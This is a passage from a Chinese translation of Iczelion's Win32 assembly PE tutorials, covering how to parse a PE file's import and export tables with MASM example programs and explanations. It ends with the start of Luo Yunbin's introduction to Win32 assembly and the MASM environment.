ShowImportFunctions endp

AppendText proc hDlg:DWORD,pText:DWORD
   invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_REPLACESEL,0,pText
   invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_REPLACESEL,0,addr CRLF
   invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_SETSEL,-1,0
   ret
AppendText endp

RVAToOffset PROC uses edi esi edx ecx pFileMap:DWORD,RVA:DWORD
   mov esi,pFileMap
   assume esi:ptr IMAGE_DOS_HEADER
   add esi,[esi].e_lfanew
   assume esi:ptr IMAGE_NT_HEADERS
   mov edi,RVA ; edi == RVA
   mov edx,esi
   add edx,sizeof IMAGE_NT_HEADERS
   mov cx,[esi].FileHeader.NumberOfSections
   movzx ecx,cx
   assume edx:ptr IMAGE_SECTION_HEADER
   .while ecx>0 ; check all sections
     .if edi>=[edx].VirtualAddress
       mov eax,[edx].VirtualAddress
       add eax,[edx].SizeOfRawData
       .if edi<eax ; The address is in this section
         mov eax,[edx].VirtualAddress
         sub edi,eax
         mov eax,[edx].PointerToRawData
         add eax,edi ; eax == file offset
         ret
       .endif
     .endif
     add edx,sizeof IMAGE_SECTION_HEADER
     dec ecx
   .endw
   assume edx:nothing
   assume esi:nothing
   mov eax,edi
   ret
RVAToOffset endp

ShowTheFunctions proc uses esi ecx ebx hDlg:DWORD, pNTHdr:DWORD
   LOCAL temp[512]:BYTE
   invoke SetDlgItemText,hDlg,IDC_EDIT,0
   invoke AppendText,hDlg,addr buffer
   mov edi,pNTHdr
   assume edi:ptr IMAGE_NT_HEADERS
   mov edi, [edi].OptionalHeader.DataDirectory[sizeof IMAGE_DATA_DIRECTORY].VirtualAddress
   invoke RVAToOffset,pMapping,edi
   mov edi,eax
   add edi,pMapping
   assume edi:ptr IMAGE_IMPORT_DESCRIPTOR
   .while !([edi].OriginalFirstThunk==0 && [edi].TimeDateStamp==0 && [edi].ForwarderChain==0 && [edi].Name1==0 && [edi].FirstThunk==0)
     invoke AppendText,hDlg,addr ImportDescriptor
     invoke RVAToOffset,pMapping, [edi].Name1
     mov edx,eax
     add edx,pMapping
     invoke wsprintf, addr temp, addr IDTemplate, [edi].OriginalFirstThunk,[edi].TimeDateStamp,[edi].ForwarderChain,edx,[edi].FirstThunk      invoke AppendText,hDlg,addr temp
     .if [edi].OriginalFirstThunk==0
        mov esi,[edi].FirstThunk
     .else
        mov esi,[edi].OriginalFirstThunk
     .endif
     invoke RVAToOffset,pMapping,esi
     add eax,pMapping
     mov esi,eax
     invoke AppendText,hDlg,addr NameHeader
     .while dword ptr [esi]!=0
       test dword ptr [esi],IMAGE_ORDINAL_FLAG32
       jnz ImportByOrdinal
       invoke RVAToOffset,pMapping,dword ptr [esi]
       mov edx,eax
       add edx,pMapping
       assume edx:ptr IMAGE_IMPORT_BY_NAME
       mov cx, [edx].Hint
       movzx ecx,cx
       invoke wsprintf,addr temp,addr NameTemplate,ecx,addr [edx].Name1
       jmp ShowTheText
ImportByOrdinal:
       mov edx,dword ptr [esi]
       and edx,0FFFFh
       invoke wsprintf,addr temp,addr OrdinalTemplate,edx
ShowTheText:
       invoke AppendText,hDlg,addr temp
       add esi,4
    .endw
    add edi,sizeof IMAGE_IMPORT_DESCRIPTOR
  .endw
  ret
ShowTheFunctions endp
end start

分析:

本例中，用户点击打开菜单显示文件打开对话框，检验文件的PE有效性后调用 ShowTheFunctions。

ShowTheFunctions proc uses esi ecx ebx hDlg:DWORD, pNTHdr:DWORD
   LOCAL temp[512]:BYTE

保留512字节堆栈空间用于字符串操作。

   invoke SetDlgItemText,hDlg,IDC_EDIT,0

清除编辑控件内容。

   invoke AppendText,hDlg,addr buffer

将PE文件名插入编辑控件。 AppendText 通过传递一个 EM_REPLACESEL 消息以通知向编辑控件添加文本。然后它又向编辑控件发送一个设置了 wParam=-1和lParam=0的EM_SETSEL 消息，使光标定位到文本末。

   mov edi,pNTHdr
   assume edi:ptr IMAGE_NT_HEADERS
   mov edi, [edi].OptionalHeader.DataDirectory[sizeof IMAGE_DATA_DIRECTORY].VirtualAddress

获取import symbols的RVA。edi起初指向 PE header，以此我们可以定位到数据目录数组的第二个数组元素来得到虚拟地址值。

   invoke RVAToOffset,pMapping,edi
   mov edi,eax
   add edi,pMapping

这儿对PE编程初学者来说可能有点困难。在PE文件中大多数地址多是RVAs 而 RVAs只有当PE文件被PE装载器装入内存后才有意义。 本例中，我们直接将文件映射到内存而不是通过PE装载器载入，因此我们不能直接使用那些RVAs。必须先将那些RVAs转换成文件偏移量，RVAToOffset函数就起到这个作用。 这里不准备详细分析。指出的是，它还将给定的RVA和PE文件所有节的始末RVA作比较（检验RVA的有效性），然后通过IMAGE_SECTION_HEADER 结构中的PointerToRawData域（当然是所在节的那个PointerToRawData域啦）将RVA转换成文件偏移量。
函数使用需要传递两个参数: 内存映射文件指针和所要转换的RVA。eax里返回文件偏移量。上面代码中，我们必须将文件偏移量加上内存映射文件指针以转换成虚拟地址。是不是有点复杂? :)

   assume edi:ptr
IMAGE_IMPORT_DESCRIPTOR
.while !([edi].OriginalFirstThunk==0 &&
[edi].TimeDateStamp==0 && [edi].ForwarderChain==0
&& [edi].Name1==0 && [edi].FirstThunk==0)

edi现在指向第一个 IMAGE_IMPORT_DESCRIPTOR 结构。接下来我们遍历整个结构数组直到遇上一个全0结构，这就是数组末尾了。

     invoke AppendText,hDlg,addr ImportDescriptor
     invoke RVAToOffset,pMapping, [edi].Name1
     mov edx,eax
     add edx,pMapping

我们要显示当前 IMAGE_IMPORT_DESCRIPTOR 结构的值。Name1 不同于其他结构成员，它含有指向相关dll名的RVA。因此必须先将其转换成虚拟地址。

     invoke wsprintf, addr temp, addr IDTemplate, [edi].OriginalFirstThunk,[edi].TimeDateStamp,[edi].ForwarderChain,edx,[edi].FirstThunk      invoke AppendText,hDlg,addr temp

显示当前 IMAGE_IMPORT_DESCRIPTOR 结构的值。

     .if [edi].OriginalFirstThunk==0
        mov esi,[edi].FirstThunk
     .else
        mov esi,[edi].OriginalFirstThunk
     .endif

接下来准备遍历 IMAGE_THUNK_DATA 数组。通常我们会选择OriginalFirstThunk指向的那个数组，不过，如果某些连接器错误地将OriginalFirstThunk 置0，这可以通过检查OriginalFirstThunk值是否为0判断。这样的话，只要选择FirstThunk指向的数组了。

     invoke RVAToOffset,pMapping,esi
     add eax,pMapping
     mov esi,eax

同样的，OriginalFirstThunk/FirstThunk值是一个RVA。必须将其转换为虚拟地址。

     invoke AppendText,hDlg,addr NameHeader
     .while dword ptr [esi]!=0

现在我们准备遍历 IMAGE_THUNK_DATAs 数组以查找该DLL引入的函数名，直到遇上全0项。

       test dword ptr [esi],IMAGE_ORDINAL_FLAG32
       jnz ImportByOrdinal

第一件事是校验IMAGE_THUNK_DATA 是否含有IMAGE_ORDINAL_FLAG32标记。检查IMAGE_THUNK_DATA 的MSB是否为1，如果是1，则函数是通过序数引出的，所以不需要更进一步处理了。直接从 IMAGE_THUNK_DATA 提取低字节获得序数，然后是下一个IMAGE_THUNK_DATA 双字。

       invoke RVAToOffset,pMapping,dword ptr [esi]
       mov edx,eax
       add edx,pMapping
       assume edx:ptr IMAGE_IMPORT_BY_NAME

如果IMAGE_THUNK_DATA 的MSB是0，那么它包含了IMAGE_IMPORT_BY_NAME 结构的RVA。需要先转换为虚拟地址。

       mov cx, [edx].Hint
       movzx ecx,cx
       invoke wsprintf,addr temp,addr NameTemplate,ecx,addr [edx].Name1
       jmp ShowTheText

Hint 是字类型，所以先转换为双字后再传递给wsprintf，然后我们将hint和函数名都显示到编辑控件中。

ImportByOrdinal:
       mov edx,dword ptr [esi]
       and edx,0FFFFh
       invoke wsprintf,addr temp,addr OrdinalTemplate,edx

在仅用序数引出函数的情况中，先清空高字再显示序数。

ShowTheText:
       invoke AppendText,hDlg,addr temp
       add esi,4

在编辑控件中插入相应的函数名/序数后，跳转到下个 IMAGE_THUNK_DATA。

    .endw
    add edi,sizeof IMAGE_IMPORT_DESCRIPTOR

处理完当前IMAGE_THUNK_DATA 数组里的所有双字，跳转到下个IMAGE_IMPORT_DESCRIPTOR 开始处理其他DLLs的引入函数了。

附录:

让我们再来讨论一下bound import。当PE装载器装入PE文件时，检查引入表并将相关DLLs映射到进程地址空间。然后象我们这样遍历IMAGE_THUNK_DATA 数组并用引入函数的真实地址替换IMAGE_THUNK_DATAs 值。这一步需要很多时间。如果程序员能事先正确预测函数地址，PE装载器就不用每次装入PE文件时都去修正IMAGE_THUNK_DATAs 值了。Bound import就是这种思想的产物。
为了方便实现，Microsoft出品的类似Visual Studio的编译器多提供了bind.exe这样的工具，由它检查PE文件的引入表并用引入函数的真实地址替换IMAGE_THUNK_DATA 值。当文件装入时，PE装载器必定检查地址的有效性，如果DLL版本不同于PE文件存放的相关信息，或则DLLs需要重定位，那么装载器认为原先计算的地址是无效的，它必定遍历OriginalFirstThunk指向的数组以获取引入函数新地址。
Bound import在本课中并非很重要，我们确省就是用到了OriginalFirstThunk。要了解更多信息可参见 LUEVELSMEYER的pe.txt 。

翻译：iamgufeng [ Iczelion's Win32 Assembly Homepage ][ LuoYunBin's Win32 ASM Page ]


Iczelion的PE教程7: Export Table（引出表）

PE教程7: Export Table（引出表）

上一课我们已经学习了动态联接中关于引入表那部分知识，现在继续另外一部分，那就是引出表。

下载 范例 。

理论:

当PE装载器执行一个程序，它将相关DLLs都装入该进程的地址空间。然后根据主程序的引入函数信息，查找相关DLLs中的真实函数地址来修正主程序。PE装载器搜寻的是DLLs中的引出函数。

DLL/EXE要引出一个函数给其他DLL/EXE使用，有两种实现方法: 通过函数名引出或者仅仅通过序数引出。比如某个DLL要引出名为"GetSysConfig"的函数，如果它以函数名引出，那么其他DLLs/EXEs若要调用这个函数，必须通过函数名，就是GetSysConfig。另外一个办法就是通过序数引出。什么是序数呢？ 序数是唯一指定DLL中某个函数的16位数字，在所指向的DLL里是独一无二的。例如在上例中，DLL可以选择通过序数引出，假设是16，那么其他DLLs/EXEs若要调用这个函数必须以该值作为GetProcAddress调用参数。这就是所谓的仅仅靠序数引出。

我们不提倡仅仅通过序数引出函数这种方法，这会带来DLL维护上的问题。一旦DLL升级/修改，程序员无法改变函数的序数，否则调用该DLL的其他程序都将无法工作。

现在我们开始学习引出结构。象引出表一样，可以通过数据目录找到引出表的位置。这儿，引出表是数据目录的第一个成员，又可称为IMAGE_EXPORT_DIRECTORY。该结构中共有11 个成员，常用的列于下表。

Field Name | Meaning
nName | 模块的真实名称。本域是必须的，因为文件名可能会改变。这种情况下，PE装载器将使用这个内部名字。
nBase | 基数，加上序数就是函数地址数组的索引值了。
NumberOfFunctions | 模块引出的函数/符号总数。
NumberOfNames | 通过名字引出的函数/符号数目。该值不是模块引出的函数/符号总数，这是由上面的NumberOfFunctions给出。本域可以为0，表示模块可能仅仅通过序数引出。如果模块根本不引出任何函数/符号，那么数据目录中引出表的RVA为0。
AddressOfFunctions | 模块中有一个指向所有函数/符号的RVAs数组，本域就是指向该RVAs数组的RVA。简言之，模块中所有函数的RVAs都保存在一个数组里，本域就指向这个数组的首地址。
AddressOfNames | 类似上个域，模块中有一个指向所有函数名的RVAs数组，本域就是指向该RVAs数组的RVA。
AddressOfNameOrdinals | RVA，指向包含上述 AddressOfNames数组中相关函数之序数的16位数组。

上面也许无法让您完全理解引出表，下面的简述将助您一臂之力。

引出表的设计是为了方便PE装载器工作。首先，模块必须保存所有引出函数的地址以供PE装载器查询。模块将这些信息保存在AddressOfFunctions域指向的数组中，而数组元素数目存放在NumberOfFunctions域中。 因此，如果模块引出40个函数，则AddressOfFunctions指向的数组必定有40个元素，而NumberOfFunctions值为40。现在如果有一些函数是通过名字引出的，那么模块必定也在文件中保留了这些信息。这些 名字的RVAs存放在一数组中以供PE装载器查询。该数组由AddressOfNames指向，NumberOfNames包含名字数目。考虑一下PE装载器的工作机制，它知道函数名，并想以此获取这些函数的地址。至今为止，模块已有两个模块: 名字数组和地址数组，但两者之间还没有联系的纽带。因此我们还需要一些联系函数名及其地址的东东。PE参考指出使用到地址数组的索引作为联接，因此PE装载器在名字数组中找到匹配名字的同时，它也获取了 指向地址表中对应元素的索引。 而这些索引保存在由AddressOfNameOrdinals域指向的另一个数组(最后一个)中。由于该数组是起了联系名字和地址的作用，所以其元素数目必定和名字数组相同，比如，每个名字有且仅有一个相关地址，反过来则不一定: 每个地址可以有好几个名字来对应。因此我们给同一个地址取"别名"。为了起到连接作用，名字数组和索引数组必须并行地成对使用，譬如，索引数组的第一个元素必定含有第一个名字的索引，以此类推。

AddressOfNames 　 AddressOfNameOrdinals
| 　 |
RVA of Name 1
RVA of Name 2
RVA of Name 3
RVA of Name 4
...
RVA of Name N
<-->
<-->
<-->
<-->
...
<-->
Index of Name 1
Index of Name 2
Index of Name 3
Index of Name 4
...
Index of Name N

下面举一两个例子说明问题。如果我们有了引出函数名并想以此获取地址，可以这么做:

  1. 定位到PE header。
  2. 从数据目录读取引出表的虚拟地址。
  3. 定位引出表获取名字数目(NumberOfNames)。
  4. 并行遍历AddressOfNames和AddressOfNameOrdinals指向的数组匹配名字。如果在AddressOfNames 指向的数组中找到匹配名字，从AddressOfNameOrdinals 指向的数组中提取索引值。例如，若发现匹配名字的RVA存放在AddressOfNames 数组的第77个元素，那就提取AddressOfNameOrdinals数组的第77个元素作为索引值。如果遍历完NumberOfNames 个元素，说明当前模块没有所要的名字。
  5. 从AddressOfNameOrdinals 数组提取的数值作为AddressOfFunctions 数组的索引。也就是说，如果值是5，就必须读取AddressOfFunctions 数组的第5个元素，此值就是所要函数的RVA。

现在我们在把注意力转向IMAGE_EXPORT_DIRECTORY 结构的nBase成员。您已经知道AddressOfFunctions 数组包含了模块中所有引出符号的地址。当PE装载器索引该数组查询函数地址时，让我们设想这样一种情况，如果程序员在.def文件中设定起始序数号为200，这意味着AddressOfFunctions 数组至少有200个元素，甚至这前面200个元素并没使用，但它们必须存在，因为PE装载器这样才能索引到正确的地址。这种方法很不好，所以又设计了nBase 域解决这个问题。如果程序员指定起始序数号为200，nBase 值也就是200。当PE装载器读取nBase域时，它知道开始200个元素并不存在，这样减掉一个nBase值后就可以正确地索引AddressOfFunctions 数组了。有了nBase，就节约了200个空元素。

注意nBase并不影响AddressOfNameOrdinals数组的值。尽管取名"AddressOfNameOrdinals"，该数组实际包含的是指向AddressOfFunctions 数组的索引，而不是什么序数啦。

讨论完nBase的作用，我们继续下一个例子。
假设我们只有函数的序数，那么怎样获取函数地址呢，可以这么做:

  1. 定位到PE header。
  2. 从数据目录读取引出表的虚拟地址。
  3. 定位引出表获取nBase值。
  4. 减掉nBase值得到指向AddressOfFunctions 数组的索引。
  5. 将该值与NumberOfFunctions作比较，大于等于后者则序数无效。
  6. 通过上面的索引就可以获取AddressOfFunctions 数组中的RVA了。

可以看出，从序数获取函数地址比函数名快捷容易。不需要遍历AddressOfNames 和 AddressOfNameOrdinals 这两个数组。然而，综合性能必须与模块维护的简易程度作一平衡。

总之，如果想通过名字获取函数地址，需要遍历AddressOfNames 和 AddressOfNameOrdinals 这两个数组。如果使用函数序数，减掉nBase值后就可直接索引AddressOfFunctions 数组。

如果一函数通过名字引出，那在GetProcAddress中可以使用名字或序数。但函数仅由序数引出情况又怎样呢? 现在就来看看。
"一个函数仅由序数引出"意味着函数在AddressOfNames 和 AddressOfNameOrdinals 数组中不存在相关项。记住两个域，NumberOfFunctions 和 NumberOfNames。这两个域可以清楚地显示有时某些函数没有名字的。函数数目至少等同于名字数目，没有名字的函数通过序数引出。比如，如果存在70个函数但AddressOfNames数组中只有40项，这就意味着模块中有30个函数是仅通过序数引出的。现在我们怎样找出那些仅通过序数引出的函数呢?这不容易，必须通过排除法，比如，AddressOfFunctions 的数组项在AddressOfNameOrdinals 数组中不存在相关指向，这就说明该函数RVA只通过序数引出。

示例:

本例类似上课的范例。然而，在显示IMAGE_EXPORT_DIRECTORY 结构一些成员信息的同时，也列出了引出函数的RVAs，序数和名字。注意本例没有列出仅由序数引出的函数。

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

IDD_MAINDLG equ 101
IDC_EDIT equ 1000
IDM_OPEN equ 40001
IDM_EXIT equ 40003

DlgProc proto :DWORD,:DWORD,:DWORD,:DWORD
ShowExportFunctions proto :DWORD
ShowTheFunctions proto :DWORD,:DWORD
AppendText proto :DWORD,:DWORD

SEH struct
   PrevLink dd ?
   CurrentHandler dd ?
   SafeOffset dd ?
   PrevEsp dd ?
   PrevEbp dd ?
SEH ends

.data
AppName db "PE tutorial no.7",0
ofn OPENFILENAME <>
FilterString db "Executable Files (*.exe, *.dll)",0,"*.exe;*.dll",0
             db "All Files",0,"*.*",0,0
FileOpenError db "Cannot open the file for reading",0
FileOpenMappingError db "Cannot open the file for memory mapping",0
FileMappingError db "Cannot map the file into memory",0
NotValidPE db "This file is not a valid PE",0
NoExportTable db "No export information in this file",0
CRLF db 0Dh,0Ah,0
ExportTable db 0Dh,0Ah,"======[ IMAGE_EXPORT_DIRECTORY ]======",0Dh,0Ah
            db "Name of the module: %s",0Dh,0Ah
            db "nBase: %lu",0Dh,0Ah
            db "NumberOfFunctions: %lu",0Dh,0Ah
            db "NumberOfNames: %lu",0Dh,0Ah
            db "AddressOfFunctions: %lX",0Dh,0Ah
            db "AddressOfNames: %lX",0Dh,0Ah
            db "AddressOfNameOrdinals: %lX",0Dh,0Ah,0
Header db "RVA Ord. Name",0Dh,0Ah
       db "----------------------------------------------",0
template db "%lX %u %s",0

.data?
buffer db 512 dup(?)
hFile dd ?
hMapping dd ?
pMapping dd ?
ValidPE dd ?

.code
start:
invoke GetModuleHandle,NULL
invoke DialogBoxParam, eax, IDD_MAINDLG,NULL,addr DlgProc, 0
invoke ExitProcess, 0

DlgProc proc hDlg:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
.if uMsg==WM_INITDIALOG
   invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_SETLIMITTEXT,0,0
.elseif uMsg==WM_CLOSE
   invoke EndDialog,hDlg,0
.elseif uMsg==WM_COMMAND
   .if lParam==0
     mov eax,wParam
     .if ax==IDM_OPEN
       invoke ShowExportFunctions,hDlg
     .else ; IDM_EXIT
       invoke SendMessage,hDlg,WM_CLOSE,0,0
     .endif
   .endif
.else
   mov eax,FALSE
   ret
.endif
mov eax,TRUE
ret
DlgProc endp

SEHHandler proc uses edx pExcept:DWORD, pFrame:DWORD, pContext:DWORD, pDispatch:DWORD
mov edx,pFrame
assume edx:ptr SEH
mov eax,pContext
assume eax:ptr CONTEXT
push [edx].SafeOffset
pop [eax].regEip
push [edx].PrevEsp
pop [eax].regEsp
push [edx].PrevEbp
pop [eax].regEbp
mov ValidPE, FALSE
mov eax,ExceptionContinueExecution
ret
SEHHandler endp

ShowExportFunctions proc uses edi hDlg:DWORD
LOCAL seh:SEH
mov ofn.lStructSize,SIZEOF ofn
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,512
mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
   invoke CreateFile, addr buffer, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
   .if eax!=INVALID_HANDLE_VALUE
     mov hFile, eax
     invoke CreateFileMapping, hFile, NULL, PAGE_READONLY,0,0,0
     .if eax!=NULL
       mov hMapping, eax
       invoke MapViewOfFile,hMapping,FILE_MAP_READ,0,0,0
       .if eax!=NULL
         mov pMapping,eax
         assume fs:nothing
         push fs:[0]
         pop seh.PrevLink
         mov seh.CurrentHandler,offset SEHHandler
         mov seh.SafeOffset,offset FinalExit
         lea eax,seh
         mov fs:[0], eax
         mov seh.PrevEsp,esp
         mov seh.PrevEbp,ebp
         mov edi, pMapping
         assume edi:ptr IMAGE_DOS_HEADER
         .if [edi].e_magic==IMAGE_DOS_SIGNATURE
           add edi, [edi].e_lfanew
           assume edi:ptr IMAGE_NT_HEADERS
           .if [edi].Signature==IMAGE_NT_SIGNATURE
             mov ValidPE, TRUE
           .else
             mov ValidPE, FALSE
           .endif
         .else
           mov ValidPE,FALSE
         .endif
FinalExit:
         push seh.PrevLink
         pop fs:[0]
         .if ValidPE==TRUE
           invoke ShowTheFunctions, hDlg, edi
         .else
           invoke MessageBox,0, addr NotValidPE, addr AppName, MB_OK+MB_ICONERROR
         .endif
         invoke UnmapViewOfFile, pMapping
       .else
         invoke MessageBox, 0, addr FileMappingError, addr AppName, MB_OK+MB_ICONERROR
       .endif
       invoke CloseHandle,hMapping
     .else
       invoke MessageBox, 0, addr FileOpenMappingError, addr AppName, MB_OK+MB_ICONERROR
     .endif
     invoke CloseHandle, hFile
   .else
     invoke MessageBox, 0, addr FileOpenError, addr AppName, MB_OK+MB_ICONERROR
   .endif
.endif
ret
ShowExportFunctions endp

AppendText proc hDlg:DWORD,pText:DWORD
invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_REPLACESEL,0,pText
invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_REPLACESEL,0,addr CRLF
invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_SETSEL,-1,0
ret
AppendText endp

RVAToFileMap PROC uses edi esi edx ecx pFileMap:DWORD,RVA:DWORD
mov esi,pFileMap
assume esi:ptr IMAGE_DOS_HEADER
add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
mov edi,RVA ; edi == RVA
mov edx,esi
add edx,sizeof IMAGE_NT_HEADERS
mov cx,[esi].FileHeader.NumberOfSections
movzx ecx,cx
assume edx:ptr IMAGE_SECTION_HEADER
.while ecx>0
   .if edi>=[edx].VirtualAddress
     mov eax,[edx].VirtualAddress
     add eax,[edx].SizeOfRawData
     .if edi<eax
       mov eax,[edx].VirtualAddress
       sub edi,eax
       mov eax,[edx].PointerToRawData
       add eax,edi
       add eax,pFileMap
       ret
     .endif
   .endif
   add edx,sizeof IMAGE_SECTION_HEADER
   dec ecx
.endw
assume edx:nothing
assume esi:nothing
mov eax,edi
ret
RVAToFileMap endp

ShowTheFunctions proc uses esi ecx ebx hDlg:DWORD, pNTHdr:DWORD
LOCAL temp[512]:BYTE
LOCAL NumberOfNames:DWORD
LOCAL Base:DWORD

mov edi,pNTHdr
assume edi:ptr IMAGE_NT_HEADERS
mov edi, [edi].OptionalHeader.DataDirectory.VirtualAddress
.if edi==0
  invoke MessageBox,0, addr NoExportTable,addr AppName,MB_OK+MB_ICONERROR
  ret
.endif
invoke SetDlgItemText,hDlg,IDC_EDIT,0
invoke AppendText,hDlg,addr buffer
invoke RVAToFileMap,pMapping,edi
mov edi,eax
assume edi:ptr IMAGE_EXPORT_DIRECTORY
mov eax,[edi].NumberOfFunctions
invoke RVAToFileMap, pMapping,[edi].nName
invoke wsprintf, addr temp,addr ExportTable, eax, [edi].nBase, [edi].NumberOfFunctions, [edi].NumberOfNames, [edi].AddressOfFunctions, [edi].AddressOfNames, [edi].AddressOfNameOrdinals
invoke AppendText,hDlg,addr temp
invoke AppendText,hDlg,addr Header
push [edi].NumberOfNames
pop NumberOfNames
push [edi].nBase
pop Base
invoke RVAToFileMap,pMapping,[edi].AddressOfNames
mov esi,eax
invoke RVAToFileMap,pMapping,[edi].AddressOfNameOrdinals
mov ebx,eax
invoke RVAToFileMap,pMapping,[edi].AddressOfFunctions
mov edi,eax
.while NumberOfNames>0
   invoke RVAToFileMap,pMapping,dword ptr [esi]
   mov dx,[ebx]
   movzx edx,dx
   mov ecx,edx
   shl edx,2
   add edx,edi
   add ecx,Base
   invoke wsprintf, addr temp,addr template,dword ptr [edx],ecx,eax
   invoke AppendText,hDlg,addr temp
   dec NumberOfNames
   add esi,4
   add ebx,2
.endw
ret
ShowTheFunctions endp
end start

分析:

mov edi,pNTHdr
assume edi:ptr IMAGE_NT_HEADERS
mov edi, [edi].OptionalHeader.DataDirectory.VirtualAddress
.if edi==0
  invoke MessageBox,0, addr NoExportTable,addr AppName,MB_OK+MB_ICONERROR
  ret
.endif

程序检验PE有效性后，定位到数据目录获取引出表的虚拟地址。若该虚拟地址为0，则文件不含引出符号。

mov eax,[edi].NumberOfFunctions
invoke RVAToFileMap, pMapping,[edi].nName
invoke wsprintf, addr temp,addr ExportTable, eax, [edi].nBase, [edi].NumberOfFunctions, [edi].NumberOfNames, [edi].AddressOfFunctions, [edi].AddressOfNames, [edi].AddressOfNameOrdinals
invoke AppendText,hDlg,addr temp

在编辑控件中显示IMAGE_EXPORT_DIRECTORY 结构的一些重要信息。

push [edi].NumberOfNames
pop NumberOfNames
push [edi].nBase
pop Base

由于我们要枚举所有函数名，就要知道引出表里的名字数目。nBase 在将AddressOfFunctions 数组索引转换成序数时派到用场。

invoke RVAToFileMap,pMapping,[edi].AddressOfNames
mov esi,eax
invoke RVAToFileMap,pMapping,[edi].AddressOfNameOrdinals
mov ebx,eax
invoke RVAToFileMap,pMapping,[edi].AddressOfFunctions
mov edi,eax

将三个数组的地址相应存放到esi,，ebx，edi中。准备开始访问。

.while NumberOfNames>0

直到所有名字都被处理完毕。

   invoke RVAToFileMap,pMapping,dword ptr [esi]

由于esi指向包含名字字符串RVAs的数组，所以[esi]含有当前名字的RVA，需要将它转换成虚拟地址，后面wsprintf要用的。

   mov dx,[ebx]
   movzx edx,dx
   mov ecx,edx
   add ecx,Base

ebx指向序数数组，值是字类型的。因此我们先要将其转换成双字，此时edx和ecx含有指向AddressOfFunctions 数组的索引。我们用edx作为索引值，而将ecx加上nBase得到函数的序数值。=

   shl edx,2
   add edx,edi

索引乘以4 (AddressOfFunctions 数组中每个元素都是4字节大小) 然后加上数组首地址，这样edx指向的就是所要函数的RVA了。

   invoke wsprintf, addr temp,addr template,dword ptr [edx],ecx,eax
   invoke AppendText,hDlg,addr temp

在编辑控件中显示函数的RVA, 序数, 和名字。

   dec NumberOfNames
   add esi,4
   add ebx,2
.endw

修正计数器，AddressOfNames 和 AddressOfNameOrdinals 两数组的当前指针，继续遍历直到所有名字全都处理完毕。

翻译：iamgufeng [ Iczelion's Win32 Assembly Homepage ][ LuoYunBin's Win32 ASM Page ]


罗云彬的Win32汇编教程

罗云彬的Win32汇编教程之一
Win32汇编的环境和基础

1.32位环境简介

在Dos下编汇编程序，我们可以管理系统的所有资源，我们可以改动系统中所有的内存，如自己改动内存控制块来分配内存，自己修改中断向量表来截获中断等，对其他操作也是如此，如我们对键盘端口直接操作就可以把键盘屏蔽掉，可以这样来描述Dos系统：系统只有一个特权级别，在编程上讲，任何程序和操作系统都是同级的，所以在Dos下，一个编得不好的程序会影响其他所有的程序，如一个程序把键盘口中断关掉了，所有程序就都不能从键盘获得键入的数据，直到任何一个程序重新打开键盘为止，一个程序陷入死循环，也没有其他程序可以把它终止掉。Dos下的编程思路是“单任务”的，你只要认为你的程序会按照你的流程一步步的执行下去，不必考虑先后问题（当然程序可能会被中断打断，但你可以认为它们会把环境恢复，如果中断程序没有把环境恢复，那是他们的错）。
在内存管理方式上，Dos汇编和Win32汇编也有很多的不同：Dos工作在实模式下，我们可以寻址1M的内存，寻址时通过段寄存器来制定段的初始地址，每个段的大小为64K，超过1M的部分，就只能把他作为XMS使用，也就是说，只能用作数据存放使用而无法在其中执行程序。
而Windows在保护模式下执行，这里所有的资源对应用程序来说都是被“保护”的：程序在执行中有级别之分，只有操作系统工作在最高级--0级中，所有应用程序都工作在3级中（Ring3)， 在Ring3中，你无法直接访问IO端口，无法访问其他程序运行的内存，连向程序自己的代码段写入数据都是非法的，会在Windows的屏幕上冒出一个熟悉的蓝屏幕来。只有对Ring0的程序来说，系统才是全开放的。
在内存方面，Windows使用了处理器的分页机制，使得对应用程序来说，所有的内存都是“平坦”的，你不必用一个段寄存器去指定段的地址，因为在保护模式下，段寄存器的含义是不同的（可以参见80386手册方面的书籍），你可以直接指定一个32位的地址来寻址4GB的内存。
在程序结构方面，Windows程序也有很大的不同，它是“基于消息”的，你可以想象这样一个常见的Windows窗口，上面有几个按钮，如果你用Dos编程的思路去考虑，你会发现实现它很困难：鼠标移动到窗口边缘时拖动会改变窗口大小，鼠标点击按钮时再做要做的事，你会发现，你的程序自开始执行后就在等待，你不知道鼠标先会点什么地方，实际上你是在等待所有可能的事情的发生。而在Dos下，你可以只顾自己先执行，需要用户输入时，再停下来，你不输入我就不再执行，而且，我让你输入数据A你就不能输入数据B。
好了，言归正传，因为以上是Win32编程的基础，无论对Win32汇编还是VC++，它们都是一样的，下面我们来看看有关Win32汇编的内容。

2.Win32ASM编译器

Win32ASM的编译器最常用的有两种：Borland公司的Tasm5.0和Microsoft的Masm6.11以上版本，两种编译器各有自己的优缺点，Tasm带了一个不大不小的Import库，而Masm没有带，但Masm在代码的优化上面好象比Tasm做得好，但它却不带Import库。看来使用哪一种编译器还是比较难选择的，但Steve Hutchesson给了我们一个答案，他为Masm建立了一个很全的Import库，基本上包括了Windows绝大部分的Api函数，这些库、include文件和其他工具还有Masm6.14版本一起做成了一个 Masm32编译器 -- Masm32V5。这样一来，我们用汇编编程就象用C一样方便。
因为有了Masm32V5，所以就我个人而言，我推荐使用Masm作为Win32ASM的编译工具，但Masm和Tasm的宏语法有很多的不同，我的这个教程是以Masm格式写的。

3.Masm32的环境设置

